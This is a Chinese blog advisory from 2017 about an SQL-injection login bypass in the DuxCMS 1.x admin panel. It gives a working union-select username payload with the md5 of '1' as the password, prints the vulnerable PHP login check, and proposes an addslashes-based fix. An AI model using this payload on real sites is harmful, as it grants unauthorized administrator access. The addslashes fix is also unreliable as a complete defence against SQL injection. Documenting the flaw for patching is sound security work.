• 首页
  • ASPCMS
  • DEDECMS
  • DuxCms
  • 工具下载
  • SEO知识
  • WEB前端开发
  • 当前位置:首页 > DuxCms >
  • DuxCms
  • DUXCMS1.x后台登录绕过漏洞

  • 已有 人阅读此文  -  2017.07.07  -  DuxCms  -  萤火星

1. 漏洞描述

duxcms是一款采用PHP开发,基于HMVC规则开发适合中小企业、公司、新闻、个人等相关行业的网站内容管理,它的后台登录处存在sql注入,黑客可通过这个漏洞获取管理员密码、直接任意用户登录后台等攻击

2. 漏洞触发条件

1. 用户名
-1" union select 1,2,3,'c4ca4238a0b923820dcc509a6f75849b',5,6,7,8,9,10,11#
/*
这里的md5就是数字1的md5
*/
2. 密码: 1

3. 漏洞代码分析

/admin/module/loginMod.class.php

//登陆检测
public function check()
{
    if(empty($_POST['user']) || empty($_POST['password']))
    {
        $this->msg('帐号信息输入错误!',0);
    }
    //获取帐号信息
    /*
    这里是漏洞关键,程序未对用户的输入进行正确的过滤、转义
    */
    $info = model('login')->user_info($_POST['user']); 

    //进行帐号验证
    if(empty($info))
    {
        $this->msg('登录失败! 无此管理员帐号!',0);
    }
    if($info['password'] <> md5($_POST['password']))
    {
        $this->msg('登录失败! 密码错误!',0);
    }
    if($info['status']==0)
    {
        $this->msg('登录失败! 帐号已禁用!',0);
    }
    //更新帐号信息
    $data['logintime']=time();
    $data['ip']=get_client_ip();
    $data['loginnum']=intval($info['loginnum'])+1;
    model('login')->edit($data,intval($info['id']));
    //更新登录记录
    model('log')->login_log($info);
    //设置登录信息
    $_SESSION[$this->config['SPOT'].'_user']=$info['id'];
    model('user')->current_user(false);
    $this->msg('登录成功!',1);        
}

4. 防御方法

/admin/module/loginMod.class.php

//登陆检测
public function check()
{
    if(empty($_POST['user']) || empty($_POST['password']))
    {
        $this->msg('帐号信息输入错误!',0);
    }

    //sql注入防御
    $_POST['user'] = addslashes($_POST['user']);
    $_POST['password'] = addslashes($_POST['password']);
    //获取帐号信息
    /*
    这里是漏洞关键,程序未对用户的输入进行正确的过滤、转义
    */
    $info = model('login')->user_info($_POST['user']); 

    //进行帐号验证
    if(empty($info))
    {
        $this->msg('登录失败! 无此管理员帐号!',0);
    }
    if($info['password'] <> md5($_POST['password']))
    {
        $this->msg('登录失败! 密码错误!',0);
    }
    if($info['status']==0)
    {
        $this->msg('登录失败! 帐号已禁用!',0);
    }
    //更新帐号信息
    $data['logintime']=time();
    $data['ip']=get_client_ip();
    $data['loginnum']=intval($info['loginnum'])+1;
    model('login')->edit($data,intval($info['id']));
    //更新登录记录
    model('log')->login_log($info);
    //设置登录信息
    $_SESSION[$this->config['SPOT'].'_user']=$info['id'];
    model('user')->current_user(false);
    $this->msg('登录成功!',1);        
}



如果本篇文章帮到了你,那么,请点击右侧的百度分享,让我们一起帮助更多的朋友!
  • 上一篇:Duxcms2.1中自定义表单前端输出时不显示循环序号
  • 下一篇:duxcms1.1 列表页调用content字段
前端交流群
热门文章
  • 1Duxcms2.0扩展模型扩展字段标签调用示例
  • 2Duxcms后台备份功能无效修复
  • 3duxcms2.1 栏目加跳转功能
  • 4Duxcms2.1中自定义表单前端输出时不显示循
  • 5duxcms 2.1.0 后台页面栏目无法删除的解决
推荐阅读
  • Duxcms后台备份功能无效修复
ASPCMS | DEDECMS | DuxCms | 工具下载 | SEO知识 | WEB前端开发 | 百度地图
萤火星的经验分享!友情赞助!
鲁ICP备15006695号-1